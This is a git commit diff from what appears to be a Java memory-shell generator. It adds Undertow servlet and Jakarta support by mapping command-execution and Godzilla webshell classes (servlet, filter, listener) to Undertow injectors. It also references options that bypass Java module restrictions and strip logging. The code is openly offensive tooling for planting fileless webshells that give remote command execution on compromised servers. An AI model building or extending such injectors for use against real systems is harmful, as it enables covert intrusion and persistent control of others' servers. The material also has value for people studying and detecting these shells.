feat: support undertow servlet (#2)

This commit is contained in:
ReaJason
2024-12-21 14:13:49 +08:00
parent 524b65b25b
commit fcaf0cae6b
9 changed files with 305 additions and 2 deletions
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell;
import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.config.InjectorConfig;
import com.reajason.javaweb.config.ShellConfig;
@@ -47,6 +48,10 @@ public class InjectorGenerator {
builder = ByPassJavaModuleInterceptor.extend(builder);
}
if(config.isJakarta()){
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (config.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
@@ -3,11 +3,14 @@ package com.reajason.javaweb.memshell;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.undertow.command.CommandListener;
import com.reajason.javaweb.memshell.undertow.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.undertow.injector.UndertowFilterInjector;
import com.reajason.javaweb.memshell.undertow.injector.UndertowListenerInjector;
import com.reajason.javaweb.memshell.undertow.injector.UndertowServletInjector;
import org.apache.commons.lang3.tuple.Pair;
import java.util.List;
@@ -26,16 +29,24 @@ public class UndertowShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(CommandServlet.class, UndertowServletInjector.class),
Constants.JAKARTA_SERVLET, Pair.of(CommandServlet.class, UndertowServletInjector.class),
Constants.FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class),
Constants.LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class)
Constants.JAKARTA_FILTER, Pair.of(CommandFilter.class, UndertowFilterInjector.class),
Constants.LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(CommandListener.class, UndertowListenerInjector.class)
);
}
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(GodzillaServlet.class, UndertowServletInjector.class),
Constants.JAKARTA_SERVLET, Pair.of(GodzillaServlet.class, UndertowServletInjector.class),
Constants.FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class),
Constants.LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class)
Constants.JAKARTA_FILTER, Pair.of(GodzillaFilter.class, UndertowFilterInjector.class),
Constants.LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class),
Constants.JAKARTA_LISTENER, Pair.of(GodzillaListener.class, UndertowListenerInjector.class)
);
}
}